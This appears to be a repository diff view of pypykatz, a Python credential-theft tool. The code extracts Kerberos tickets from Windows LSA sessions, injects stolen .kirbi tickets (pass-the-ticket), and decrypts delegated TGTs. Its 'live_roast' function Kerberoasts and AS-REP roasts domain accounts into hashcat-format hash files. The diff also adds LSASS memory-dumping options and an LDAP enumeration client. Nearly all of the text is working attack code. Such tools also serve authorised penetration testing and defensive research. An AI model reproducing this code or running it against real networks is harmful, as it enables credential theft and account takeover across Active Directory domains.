143 | ticket_data = {} | |
144 | if luid not in ticket_data: | |
145 | ticket_data[luid] = [] | |
146 | ||
147 | ticket_infos = self.get_all_ticketinfo() | |
148 | for ticket in ticket_infos[luid]: | |
149 | res = extract_ticket(self.__lsa_handle, self.kerberos_package_id, luid, ticket['ServerName']) | |
150 | ticket_data[luid].append(res) | |
151 | ||
152 | return ticket_data | |
153 | ||
154 | def export_all_ticketdata(self): | |
155 | self.open_lsa_handle(0, req_elevated=True) | |
156 | ticket_infos = self.get_all_ticketinfo() | |
157 | ticket_data = {} | |
158 | for luid in ticket_infos: | |
159 | if luid not in ticket_data: | |
160 | ticket_data[luid] = [] | |
161 | ||
162 | for ticket in ticket_infos[luid]: | |
163 | res = extract_ticket(self.__lsa_handle, self.kerberos_package_id, luid, ticket['ServerName']) | |
164 | ticket_data[luid].append(res) | |
165 | return ticket_data | |
166 | ||
167 | def get_current_luid(self): | |
168 | current_pid = GetCurrentProcessId() | |
169 | process_handle = OpenProcess(MAXIMUM_ALLOWED, False, current_pid) | |
170 | token_handle = OpenProcessToken(process_handle) | |
171 | stats = GetTokenInformation_tokenstatistics(token_handle) | |
172 | CloseHandle(process_handle) | |
173 | return stats['TokenId'] | |
174 | ||
175 | def list_luids(self): | |
176 | self.available_luids = LsaEnumerateLogonSessions() | |
177 | return self.available_luids | |
178 | ||
179 | def list_sessions(self): | |
180 | for luid in self.available_luids: | |
181 | try: | |
182 | session_info = LsaGetLogonSessionData(luid) | |
183 | print('USER "%s\\%s" SPN "%s" LUID %s' % (session_info.get('LogonDomain', '.'), session_info['UserName'], session_info['Upn'], hex(session_info['LogonId']))) | |
184 | except Exception as e: | |
185 | logger.debug('Failed to get info for LUID %s Reason: %s' % (luid, e )) | |
186 | continue | |
187 | ||
188 | def purge(self, luid = None): | |
189 | luids = [] | |
190 | if luid is None: | |
191 | self.open_lsa_handle(0, req_elevated=True) | |
192 | luids += self.list_luids() | |
193 | else: | |
194 | luids.append(luid) | |
195 | self.open_lsa_handle(luid) | |
196 | ||
197 | for luid_current in luids: | |
198 | message = KERB_PURGE_TKT_CACHE_REQUEST(luid_current) | |
199 | message_ret, status_ret, free_ptr = LsaCallAuthenticationPackage(self.__lsa_handle, self.kerberos_package_id, message) | |
200 | if status_ret != 0: | |
201 | if len(luids) > 1: | |
202 | continue | |
203 | raise get_lsa_error(status_ret) | |
204 | if len(message_ret) > 0: | |
205 | LsaFreeReturnBuffer(free_ptr) | |
206 | ||
207 | def submit_ticket(self, ticket_data, luid = 0): | |
208 | self.open_lsa_handle(luid) | |
209 | message = submit_tkt_helper(ticket_data, logonid=luid) | |
210 | ret_msg, ret_status, free_ptr = LsaCallAuthenticationPackage(self.__lsa_handle, self.kerberos_package_id, message) | |
211 | if ret_status != 0: | |
212 | raise get_lsa_error(ret_status) | |
213 | ||
214 | if len(ret_msg) > 0: | |
215 | LsaFreeReturnBuffer(free_ptr) | |
216 | ||
217 | def get_tgt(self, target = None): | |
218 | if target is None: | |
219 | logon = get_logon_info() | |
220 | if logon['logonserver'] is None: | |
221 | raise Exception('Failed to get logonserver and no target was specified! This wont work.') | |
222 | target = 'cifs/%s' % logon['logonserver'] | |
223 | ||
224 | ctx = AcquireCredentialsHandle(None, 'kerberos', target, SECPKG_CRED.OUTBOUND) | |
225 | res, ctx, data, outputflags, expiry = InitializeSecurityContext( | |
226 | ctx, | |
227 | target, | |
228 | token = None, | |
229 | ctx = ctx, | |
230 | flags = ISC_REQ.DELEGATE | ISC_REQ.MUTUAL_AUTH | ISC_REQ.ALLOCATE_MEMORY | |
231 | ) | |
232 | ||
233 | ||
234 | if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED: | |
235 | #key_data = sspi._get_session_key() | |
236 | raw_ticket = self.export_ticketdata_target(0, target) | |
237 | key = Key(raw_ticket['Key']['KeyType'], raw_ticket['Key']['Key']) | |
238 | token = InitialContextToken.load(data[0][1]) | |
239 | ticket = AP_REQ(token.native['innerContextToken']).native | |
240 | cipher = _enctype_table[ticket['authenticator']['etype']] | |
241 | dec_authenticator = cipher.decrypt(key, 11, ticket['authenticator']['cipher']) | |
242 | authenticator = Authenticator.load(dec_authenticator).native | |
243 | if authenticator['cksum']['cksumtype'] != 0x8003: | |
244 | raise Exception('Checksum not good :(') | |
245 | ||
246 | checksum_data = AuthenticatorChecksum.from_bytes(authenticator['cksum']['checksum']) | |
247 | if ChecksumFlags.GSS_C_DELEG_FLAG not in checksum_data.flags: | |
248 | raise Exception('delegation flag not set!') | |
249 | ||
250 | cred_orig = KRB_CRED.load(checksum_data.delegation_data).native | |
251 | dec_authenticator = cipher.decrypt(key, 14, cred_orig['enc-part']['cipher']) | |
252 | #info = EncKrbCredPart.load(dec_authenticator).native | |
253 | ||
254 | #reconstructing kirbi with the unencrypted data | |
255 | te = {} | |
256 | te['etype'] = 0 | |
257 | te['cipher'] = dec_authenticator | |
258 | ten = EncryptedData(te) | |
259 | ||
260 | t = {} | |
261 | t['pvno'] = cred_orig['pvno'] | |
262 | t['msg-type'] = cred_orig['msg-type'] | |
263 | t['tickets'] = cred_orig['tickets'] | |
264 | t['enc-part'] = ten | |
265 | ||
266 | cred = KRB_CRED(t) | |
267 | return cred.dump() | |
268 | ||
269 | def get_apreq(self, target): | |
270 | ctx = AcquireCredentialsHandle(None, 'kerberos', target, SECPKG_CRED.OUTBOUND) | |
271 | res, ctx, data, outputflags, expiry = InitializeSecurityContext( | |
272 | ctx, | |
273 | target, | |
274 | token = None, | |
275 | ctx = ctx, | |
276 | flags = ISC_REQ.ALLOCATE_MEMORY | ISC_REQ.CONNECTION | |
277 | ) | |
278 | if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED: | |
279 | sec_struct = SecPkgContext_SessionKey() | |
280 | QueryContextAttributes(ctx, SECPKG_ATTR.SESSION_KEY, sec_struct) | |
281 | key_data = sec_struct.Buffer | |
282 | #print(data[0][1].hex()) | |
283 | ||
284 | ticket = InitialContextToken.load(data[0][1]).native['innerContextToken'] | |
285 | return AP_REQ(ticket), key_data | |
286 | ||
287 | ||
288 | async def live_roast(outfile = None): | |
289 | try: | |
290 | logon = get_logon_info() | |
291 | domain = logon['domain'] | |
292 | url = 'ldap+sspi-ntlm://%s' % logon['logonserver'] | |
293 | msldap_url = MSLDAPURLDecoder(url) | |
294 | client = msldap_url.get_client() | |
295 | _, err = await client.connect() | |
296 | if err is not None: | |
297 | raise err | |
298 | ||
299 | domain = client._ldapinfo.distinguishedName.replace('DC=','').replace(',','.') | |
300 | spn_users = [] | |
301 | asrep_users = [] | |
302 | errors = [] | |
303 | results = [] | |
304 | final_results = [] | |
305 | spn_cnt = 0 | |
306 | asrep_cnt = 0 | |
307 | async for user, err in client.get_all_knoreq_users(): | |
308 | if err is not None: | |
309 | raise err | |
310 | cred = KerberosCredential() | |
311 | cred.username = user.sAMAccountName | |
312 | cred.domain = domain | |
313 | ||
314 | asrep_users.append(cred) | |
315 | async for user, err in client.get_all_service_users(): | |
316 | if err is not None: | |
317 | raise err | |
318 | cred = KerberosCredential() | |
319 | cred.username = user.sAMAccountName | |
320 | cred.domain = domain | |
321 | ||
322 | spn_users.append(cred) | |
323 | ||
324 | for cred in asrep_users: | |
325 | results = [] | |
326 | ks = KerberosTarget(domain) | |
327 | ar = APREPRoast(ks) | |
328 | res = await ar.run(cred, override_etype = [23]) | |
329 | results.append(res) | |
330 | ||
331 | if outfile is not None: | |
332 | filename = outfile + 'asreproast_%s_%s.txt' % (logon['domain'], datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S")) | |
333 | with open(filename, 'w', newline = '') as f: | |
334 | for thash in results: | |
335 | asrep_cnt += 1 | |
336 | f.write(thash + '\r\n') | |
337 | else: | |
338 | final_results += results | |
339 | ||
340 | results = [] | |
341 | for cred in spn_users: | |
342 | spn_name = '%s@%s' % (cred.username, cred.domain) | |
343 | if spn_name[:6] == 'krbtgt': | |
344 | continue | |
345 | try: | |
346 | ctx = AcquireCredentialsHandle(None, 'kerberos', spn_name, SECPKG_CRED.OUTBOUND) | |
347 | res, ctx, data, outputflags, expiry = InitializeSecurityContext( | |
348 | ctx, | |
349 | spn_name, | |
350 | token = None, | |
351 | ctx = ctx, | |
352 | flags = ISC_REQ.ALLOCATE_MEMORY | ISC_REQ.CONNECTION | |
353 | ) | |
354 | if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED: | |
355 | ticket = InitialContextToken.load(data[0][1]).native['innerContextToken'] | |
356 | else: | |
357 | raise Exception('Error %s' % res.value) | |
358 | except Exception as e: | |
359 | print(e) | |
360 | errors.append((spn_name, e)) | |
361 | continue | |
362 | results.append(TGSTicket2hashcat(ticket)) | |
363 | ||
364 | if outfile is not None: | |
365 | filename = outfile+ 'spnroast_%s_%s.txt' % (logon['domain'], datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S")) | |
366 | with open(filename, 'w', newline = '') as f: | |
367 | for thash in results: | |
368 | spn_cnt += 1 | |
369 | f.write(thash + '\r\n') | |
370 | ||
371 | else: | |
372 | final_results += results | |
373 | ||
374 | return final_results, errors, None | |
375 | ||
376 | except Exception as e: | |
377 | return None, None, e | |
378 | ||
379 | ||
380 | if __name__ == '__main__': | |
381 | import glob | |
382 | import sys | |
383 | ||
384 | kl = KerberosLive() | |
385 | kl.purge(0) | |
386 | #x = kl.get_all_ticketdata() | |
387 | #ctr = 0 | |
388 | #for luid in x: | |
389 | # if x[luid] != []: | |
390 | # for ticket in x[luid]: | |
391 | # ctr += 1 | |
392 | # with open('test_%s.kirbi' % ctr, 'wb') as f: | |
393 | # f.write(ticket['Ticket']) | |
394 | # | |
395 | #print(x) | |
396 | #sys.exit() | |
397 | for filename in glob.glob('*.kirbi'): | |
398 | with open(filename, 'rb') as d: | |
399 | ticket = d.read() | |
400 | try: | |
401 | kl.submit_ticket(ticket) | |
402 | print('OK') | |
403 | except Exception as e: | |
404 | print(e) | |
405 | input()⏎ |
0 | ||
1 | ||
2 | from minikerberos.protocol.asn1_structs import KRB_CRED, EncKrbCredPart, KRBCRED | |
3 | import base64 | |
4 | ||
5 | def format_kirbi(data, n = 100): | |
6 | kd = base64.b64encode(data).decode() | |
7 | return ' ' + '\r\n '.join([kd[i:i+n] for i in range(0, len(kd), n)]) | |
8 | ||
9 | def describe_kirbi_data(data): | |
10 | if isinstance(data, bytes): | |
11 | kirbi = KRB_CRED.load(data).native | |
12 | elif isinstance(data, dict): | |
13 | kirbi = data | |
14 | elif isinstance(data, KRB_CRED): | |
15 | kirbi = data.native | |
16 | elif isinstance(data, KRBCRED): | |
17 | kirbi = data.native | |
18 | else: | |
19 | raise Exception('Unknown data type! %s' % type(data)) | |
20 | ||
21 | t = '\r\n' | |
22 | for ticket in kirbi['tickets']: | |
23 | t += 'Realm : %s\r\n' % ticket['realm'] | |
24 | t += 'Sname : %s\r\n' % '/'.join(ticket['sname']['name-string']) | |
25 | ||
26 | if kirbi['enc-part']['etype'] == 0: | |
27 | cred = EncKrbCredPart.load(kirbi['enc-part']['cipher']).native | |
28 | cred = cred['ticket-info'][0] | |
29 | username = cred.get('pname') | |
30 | if username is not None: | |
31 | username = '/'.join(username['name-string']) | |
32 | flags = cred.get('flags') | |
33 | if flags is not None: | |
34 | flags = ', '.join(flags) | |
35 | ||
36 | t += 'UserName : %s\r\n' % username | |
37 | t += 'UserRealm : %s\r\n' % cred.get('prealm') | |
38 | t += 'StartTime : %s\r\n' % cred.get('starttime') | |
39 | t += 'EndTime : %s\r\n' % cred.get('endtime') | |
40 | t += 'RenewTill : %s\r\n' % cred.get('renew-till') | |
41 | t += 'Flags : %s\r\n' % flags | |
42 | t += 'Keytype : %s\r\n' % cred['key']['keytype'] | |
43 | t += 'Key : %s\r\n' % base64.b64encode(cred['key']['keyvalue']).decode() | |
44 | ||
45 | t += 'EncodedKirbi : \r\n\r\n' | |
46 | t += format_kirbi(KRB_CRED(kirbi).dump()) | |
47 | return t | |
48 | ||
49 | def print_kirbi(data): | |
50 | print(describe_kirbi_data(data)) | |
51 | ||
52 | ||
53 | ||
54 | def parse_kirbi(kirbifile): | |
55 | with open(kirbifile, 'rb') as f: | |
56 | print_kirbi(f.read())⏎ |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | 5 | |
6 | from pypykatz import logging | |
6 | from pypykatz import logger | |
7 | import asyncio | |
7 | 8 | |
8 | 9 | """ |
9 | 10 | LDAP is not part of pypykatz directly. |
10 | This is a wrapper for msldap, ldap3 and winsspi packages | |
11 | This is a wrapper for msldap | |
11 | 12 | """ |
13 | ||
14 | class LDAPCMDArgs: | |
15 | def __init__(self): | |
16 | self.url = None | |
17 | self.verbose = 0 | |
18 | self.no_interactive = False | |
19 | self.commands = ['login', 'i'] | |
20 | ||
21 | msldap_subcommand_list = [] | |
22 | msldap_epilog = 'FOR AVAILABLE SUBCOMMANDS TYPE "... ldap help" insted of "-h" ' | |
12 | 23 | |
13 | 24 | class LDAPCMDHelper: |
14 | 25 | def __init__(self): |
16 | 27 | self.keywords = ['ldap'] |
17 | 28 | |
18 | 29 | def add_args(self, parser, live_parser): |
19 | group = parser.add_parser('ldap', help='LDAP (live) related commands') | |
20 | group.add_argument('credential', help= 'Credential to be used') | |
21 | group.add_argument('cmd', choices=['spn', 'asrep','dump','custom']) | |
22 | group.add_argument('-o','--out-file', help= 'File to stroe results in') | |
23 | group.add_argument('-a','--attrs', action='append', help='DUMP and CUSTOM mode only. LDAP attributes to display. Can be stacked') | |
24 | group.add_argument('-f','--filter', help='CUSTOM mode only. LDAP search filter') | |
30 | group = parser.add_parser('ldap', help='LDAP client. Use "help" instead of "-h" to get the available subcommands') | |
31 | group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') | |
32 | group.add_argument('url', help="LDAP connection string") | |
33 | group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") | |
25 | 34 | |
26 | ||
27 | live_group = live_parser.add_parser('ldap', help='LDAP (live) related commands') | |
28 | live_group.add_argument('-c','--credential', help= 'Credential to be used, if omitted it will use teh credentials of the current user. If specified, it will try to impersonate the user. (requires the the target user has a session on the local computer)') | |
29 | live_group.add_argument('--dc-ip', help= 'IP address or hostname of the LDAP server. Optional. If omitted will use registry to check for the DC.') | |
30 | live_group.add_argument('cmd', choices=['spn', 'asrep','dump','custom']) | |
31 | live_group.add_argument('-o','--out-file', help= 'File to stroe results in') | |
32 | live_group.add_argument('-a','--attrs', action='append', help='DUMP and CUSTOM mode only. LDAP attributes to display. Can be stacked') | |
33 | live_group.add_argument('-f','--filter', help='CUSTOM mode only. LDAP search filter') | |
34 | ||
35 | live_group = live_parser.add_parser('ldap', help='LDAP (live) client. Use "help" instead of "-h" to get the available subcommands', epilog=msldap_epilog) | |
36 | live_group.add_argument('--host', help= 'Specify a custom logon server.') | |
37 | live_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login') | |
38 | live_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') | |
39 | live_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") | |
40 | ||
35 | 41 | def execute(self, args): |
36 | 42 | if args.command in self.keywords: |
37 | 43 | self.run(args) |
41 | 47 | |
42 | 48 | |
43 | 49 | def run_live(self, args): |
44 | from msldap.core import MSLDAPCredential, MSLDAPTarget, MSLDAPConnection | |
45 | from msldap.ldap_objects import MSADUser | |
46 | from msldap import logger as msldaplogger | |
47 | from pypykatz.commons.winapi.machine import LiveMachine | |
48 | ||
49 | machine = LiveMachine() | |
50 | ||
51 | if args.credential: | |
52 | creds = MSLDAPCredential.from_connection_string(args.credential) | |
53 | else: | |
54 | creds = MSLDAPCredential.get_dummy_sspi() | |
55 | ||
56 | if args.dc_ip: | |
57 | target = MSLDAPTarget(args.dc_ip) | |
58 | else: | |
59 | target = MSLDAPTarget(machine.get_domain()) | |
60 | ||
61 | connection = MSLDAPConnection(creds, target) | |
62 | connection.connect() | |
63 | ||
64 | try: | |
65 | adinfo = connection.get_ad_info() | |
66 | domain = adinfo.distinguishedName.replace('DC=','').replace(',','.') | |
67 | except Exception as e: | |
68 | logging.warning('[LDAP] Failed to get domain name from LDAP server. This is not normal, but happens. Reason: %s' % e) | |
69 | domain = machine.get_domain() | |
70 | ||
71 | if args.cmd == 'spn': | |
72 | logging.debug('Enumerating SPN user accounts...') | |
73 | cnt = 0 | |
74 | if args.out_file: | |
75 | with open(os.path.join(basefolder,basefile+'_spn_users.txt'), 'w', newline='') as f: | |
76 | for user in connection.get_all_service_user_objects(): | |
77 | cnt += 1 | |
78 | f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) | |
79 | ||
50 | from msldap.examples.msldapclient import amain | |
51 | from winacl.functions.highlevel import get_logon_info | |
52 | info = get_logon_info() | |
53 | ||
54 | logonserver = info['logonserver'] | |
55 | if args.host is not None: | |
56 | logonserver = args.host | |
57 | ||
58 | la = LDAPCMDArgs() | |
59 | la.url = 'ldap+sspi-%s://%s\\%s@%s' % (args.authmethod, info['domain'], info['username'], logonserver) | |
60 | la.verbose = args.verbose | |
61 | ||
62 | if args.verbose > 1: | |
63 | print('Using the following auto-generated URL: %s' % la.url) | |
64 | if args.commands is not None and len(args.commands) > 0: | |
65 | la.commands = [] | |
66 | if args.commands[0] == 'help': | |
67 | la.commands = ['help'] | |
80 | 68 | else: |
81 | print('[+] SPN users') | |
82 | for user in connection.get_all_service_user_objects(): | |
83 | cnt += 1 | |
84 | print('%s/%s' % (domain, user.sAMAccountName)) | |
85 | ||
86 | logging.debug('Enumerated %d SPN user accounts' % cnt) | |
87 | ||
88 | elif args.cmd == 'asrep': | |
89 | logging.debug('Enumerating ASREP user accounts...') | |
90 | ctr = 0 | |
91 | if args.out_file: | |
92 | with open(os.path.join(basefolder,basefile+'_asrep_users.txt'), 'w', newline='') as f: | |
93 | for user in connection.get_all_knoreq_user_objects(): | |
94 | ctr += 1 | |
95 | f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) | |
96 | else: | |
97 | print('[+] ASREP users') | |
98 | for user in connection.get_all_knoreq_user_objects(): | |
99 | ctr += 1 | |
100 | print('%s/%s' % (domain, user.sAMAccountName)) | |
69 | if args.commands[0] != 'login': | |
70 | la.commands.append('login') | |
71 | ||
72 | for command in args.commands: | |
73 | la.commands.append(command) | |
101 | 74 | |
102 | logging.debug('Enumerated %d ASREP user accounts' % ctr) | |
103 | ||
104 | elif args.cmd == 'dump': | |
105 | logging.debug('Enumerating ALL user accounts, this will take some time depending on the size of the domain') | |
106 | ctr = 0 | |
107 | attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS | |
108 | if args.out_file: | |
109 | with open(os.path.join(basefolder,basefile+'_ldap_users.tsv'), 'w', newline='', encoding ='utf8') as f: | |
110 | writer = csv.writer(f, delimiter = '\t') | |
111 | writer.writerow(attrs) | |
112 | for user in connection.get_all_user_objects(): | |
113 | ctr += 1 | |
114 | writer.writerow(user.get_row(attrs)) | |
115 | ||
116 | else: | |
117 | logging.debug('Are you sure about this?') | |
118 | print('[+] Full user dump') | |
119 | print('\t'.join(attrs)) | |
120 | for user in connection.get_all_user_objects(): | |
121 | ctr += 1 | |
122 | print('\t'.join([str(x) for x in user.get_row(attrs)])) | |
123 | ||
124 | ||
125 | logging.debug('Enumerated %d user accounts' % ctr) | |
126 | ||
127 | elif args.cmd == 'custom': | |
128 | if not args.filter: | |
129 | raise Exception('Custom LDAP search requires the search filter to be specified!') | |
130 | if not args.attrs: | |
131 | raise Exception('Custom LDAP search requires the attributes to be specified!') | |
132 | ||
133 | logging.debug('Perforing search on the AD with the following filter: %s' % args.filter) | |
134 | logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs)) | |
135 | ctr = 0 | |
136 | ||
137 | if args.out_file: | |
138 | with open(os.path.join(basefolder,basefile+'_ldap_custom.tsv'), 'w', newline='') as f: | |
139 | writer = csv.writer(f, delimiter = '\t') | |
140 | writer.writerow(args.attrs) | |
141 | for obj in connection.pagedsearch(args.filter, args.attrs): | |
142 | ctr += 1 | |
143 | writer.writerow([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs]) | |
144 | ||
145 | else: | |
146 | for obj in connection.pagedsearch(args.filter, args.attrs): | |
147 | ctr += 1 | |
148 | print('\t'.join([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs])) | |
149 | ||
150 | logging.debug('Custom search yielded %d results!' % ctr) | |
75 | asyncio.run(amain(la)) | |
151 | 76 | |
152 | 77 | def run(self, args): |
153 | from msldap.core import MSLDAPCredential, MSLDAPTarget, MSLDAPConnection | |
154 | from msldap.ldap_objects import MSADUser | |
155 | from msldap import logger as msldaplogger | |
156 | ||
157 | if not args.credential: | |
158 | raise Exception('You must provide credentials when using ldap in platform independent mode.') | |
159 | ||
160 | creds = MSLDAPCredential.from_connection_string(args.credential) | |
161 | target = MSLDAPTarget.from_connection_string(args.credential) | |
162 | ||
163 | connection = MSLDAPConnection(creds, target) | |
164 | connection.connect() | |
165 | ||
166 | try: | |
167 | adinfo = connection.get_ad_info() | |
168 | domain = adinfo.distinguishedName.replace('DC=','').replace(',','.') | |
169 | except Exception as e: | |
170 | logging.warning('[LDAP] Failed to get domain name from LDAP server. This is not normal, but happens. Reason: %s' % e) | |
171 | domain = machine.get_domain() | |
172 | ||
173 | if args.cmd == 'spn': | |
174 | logging.debug('Enumerating SPN user accounts...') | |
175 | cnt = 0 | |
176 | if args.out_file: | |
177 | with open(os.path.join(basefolder,basefile+'_spn_users.txt'), 'w', newline='') as f: | |
178 | for user in connection.get_all_service_user_objects(): | |
179 | cnt += 1 | |
180 | f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) | |
181 | ||
78 | from msldap.examples.msldapclient import amain | |
79 | la = LDAPCMDArgs() | |
80 | la.url = args.url | |
81 | la.verbose = args.verbose | |
82 | if args.commands is not None and len(args.commands) > 0: | |
83 | la.commands = [] | |
84 | if args.commands[0] == 'help': | |
85 | la.commands = ['help'] | |
182 | 86 | else: |
183 | print('[+] SPN users') | |
184 | for user in connection.get_all_service_user_objects(): | |
185 | cnt += 1 | |
186 | print('%s/%s' % (domain, user.sAMAccountName)) | |
187 | ||
188 | logging.debug('Enumerated %d SPN user accounts' % cnt) | |
189 | ||
190 | elif args.cmd == 'asrep': | |
191 | logging.debug('Enumerating ASREP user accounts...') | |
192 | ctr = 0 | |
193 | if args.out_file: | |
194 | with open(os.path.join(basefolder,basefile+'_asrep_users.txt'), 'w', newline='') as f: | |
195 | for user in connection.get_all_knoreq_user_objects(): | |
196 | ctr += 1 | |
197 | f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) | |
198 | else: | |
199 | print('[+] ASREP users') | |
200 | for user in connection.get_all_knoreq_user_objects(): | |
201 | ctr += 1 | |
202 | print('%s/%s' % (domain, user.sAMAccountName)) | |
203 | ||
204 | logging.debug('Enumerated %d ASREP user accounts' % ctr) | |
205 | ||
206 | elif args.cmd == 'dump': | |
207 | logging.debug('Enumerating ALL user accounts, this will take some time depending on the size of the domain') | |
208 | ctr = 0 | |
209 | attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS | |
210 | if args.out_file: | |
211 | with open(os.path.join(basefolder,basefile+'_ldap_users.tsv'), 'w', newline='', encoding ='utf8') as f: | |
212 | writer = csv.writer(f, delimiter = '\t') | |
213 | writer.writerow(attrs) | |
214 | for user in connection.get_all_user_objects(): | |
215 | ctr += 1 | |
216 | writer.writerow(user.get_row(attrs)) | |
217 | ||
218 | else: | |
219 | logging.debug('Are you sure about this?') | |
220 | print('[+] Full user dump') | |
221 | print('\t'.join(attrs)) | |
222 | for user in connection.get_all_user_objects(): | |
223 | ctr += 1 | |
224 | print('\t'.join([str(x) for x in user.get_row(attrs)])) | |
225 | ||
226 | ||
227 | logging.debug('Enumerated %d user accounts' % ctr) | |
228 | ||
229 | elif args.cmd == 'custom': | |
230 | if not args.filter: | |
231 | raise Exception('Custom LDAP search requires the search filter to be specified!') | |
232 | if not args.attrs: | |
233 | raise Exception('Custom LDAP search requires the attributes to be specified!') | |
234 | ||
235 | logging.debug('Perforing search on the AD with the following filter: %s' % args.filter) | |
236 | logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs)) | |
237 | ctr = 0 | |
238 | ||
239 | if args.out_file: | |
240 | with open(os.path.join(basefolder,basefile+'_ldap_custom.tsv'), 'w', newline='') as f: | |
241 | writer = csv.writer(f, delimiter = '\t') | |
242 | writer.writerow(args.attrs) | |
243 | for obj in connection.pagedsearch(args.filter, args.attrs): | |
244 | ctr += 1 | |
245 | writer.writerow([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs]) | |
246 | ||
247 | else: | |
248 | for obj in connection.pagedsearch(args.filter, args.attrs): | |
249 | ctr += 1 | |
250 | print('\t'.join([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs])) | |
251 | ||
252 | logging.debug('Custom search yielded %d results!' % ctr) | |
253 | ⏎ | |
87 | if args.commands[0] != 'login': | |
88 | la.commands.append('login') | |
89 | ||
90 | for command in args.commands: | |
91 | la.commands.append(command) | |
92 | ||
93 | asyncio.run(amain(la)) |
8 | 8 | import glob |
9 | 9 | import ntpath |
10 | 10 | import traceback |
11 | import base64 | |
11 | 12 | |
12 | 13 | from pypykatz import logging |
13 | 14 | from pypykatz.pypykatz import pypykatz |
28 | 29 | live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') |
29 | 30 | live_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') |
30 | 31 | live_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') |
31 | ||
32 | live_group.add_argument('--method', choices = ['procopen', 'handledup'], default = 'procopen', help = 'LSASS process access method') | |
33 | live_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap', 'kerberos'], nargs="+", default = 'all', help = 'LSASS package to parse') | |
34 | ||
35 | ||
32 | 36 | group = parser.add_parser('lsa', help='Get secrets from memory dump') |
33 | 37 | group.add_argument('cmd', choices=['minidump','rekall']) |
34 | 38 | group.add_argument('memoryfile', help='path to the dump file') |
40 | 44 | group.add_argument('-r', '--recursive', action='store_true', help = 'Recursive parsing') |
41 | 45 | group.add_argument('-d', '--directory', action='store_true', help = 'Parse all dump files in a folder') |
42 | 46 | group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') |
47 | group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap', 'kerberos'], nargs="+", default = 'all', help = 'LSASS package to parse') | |
43 | 48 | |
44 | 49 | def execute(self, args): |
45 | 50 | if len(self.keywords) > 0 and args.command in self.keywords: |
98 | 103 | t = cred.to_dict() |
99 | 104 | x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] |
100 | 105 | print(':'.join(x)) |
106 | ||
107 | for pkg, err in results[result].errors: | |
108 | err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) | |
109 | err_str = base64.b64encode(err_str.encode()).decode() | |
110 | x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str] | |
111 | print(':'.join(x) + '\r\n') | |
101 | 112 | else: |
102 | 113 | for result in results: |
103 | 114 | print('FILE: ======== %s =======' % result) |
111 | 122 | print('== Orphaned credentials ==') |
112 | 123 | for cred in results[result].orphaned_creds: |
113 | 124 | print(str(cred)) |
125 | ||
126 | if len(results[result].errors) > 0: | |
127 | print('== Errors ==') | |
128 | for pkg, err in results[result].errors: | |
129 | err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) | |
130 | err_str = base64.b64encode(err_str.encode()).decode() | |
131 | print('%s %s' % (pkg+'_exception_please_report',err_str)) | |
114 | 132 | |
115 | 133 | |
116 | 134 | |
143 | 161 | if args.module == 'lsa': |
144 | 162 | filename = 'live' |
145 | 163 | try: |
146 | mimi = pypykatz.go_live() | |
164 | if args.kerberos_dir is not None and 'all' not in args.packages: | |
165 | args.packages.append('ktickets') | |
166 | if args.method == 'procopen': | |
167 | mimi = pypykatz.go_live(packages=args.packages) | |
168 | elif args.method == 'handledup': | |
169 | mimi = pypykatz.go_handledup(packages=args.packages) | |
170 | if mimi is None: | |
171 | raise Exception('HANDLEDUP failed to bring any results!') | |
147 | 172 | results['live'] = mimi |
173 | if args.halt_on_error == True and len(mimi.errors) > 0: | |
174 | raise Exception('Error in modules!') | |
148 | 175 | except Exception as e: |
149 | 176 | files_with_error.append(filename) |
150 | 177 | if args.halt_on_error == True: |
161 | 188 | results = {} |
162 | 189 | ###### Rekall |
163 | 190 | if args.cmd == 'rekall': |
164 | mimi = pypykatz.parse_memory_dump_rekall(args.memoryfile, args.timestamp_override) | |
191 | if args.kerberos_dir is not None and 'all' not in args.packages: | |
192 | args.packages.append('ktickets') | |
193 | mimi = pypykatz.parse_memory_dump_rekall(args.memoryfile, args.timestamp_override, packages=args.packages) | |
165 | 194 | results['rekall'] = mimi |
166 | 195 | |
167 | 196 | ###### Minidump |
178 | 207 | for filename in glob.glob(globdata, recursive=args.recursive): |
179 | 208 | logging.info('Parsing file %s' % filename) |
180 | 209 | try: |
181 | mimi = pypykatz.parse_minidump_file(filename) | |
210 | if args.kerberos_dir is not None and 'all' not in args.packages: | |
211 | args.packages.append('ktickets') | |
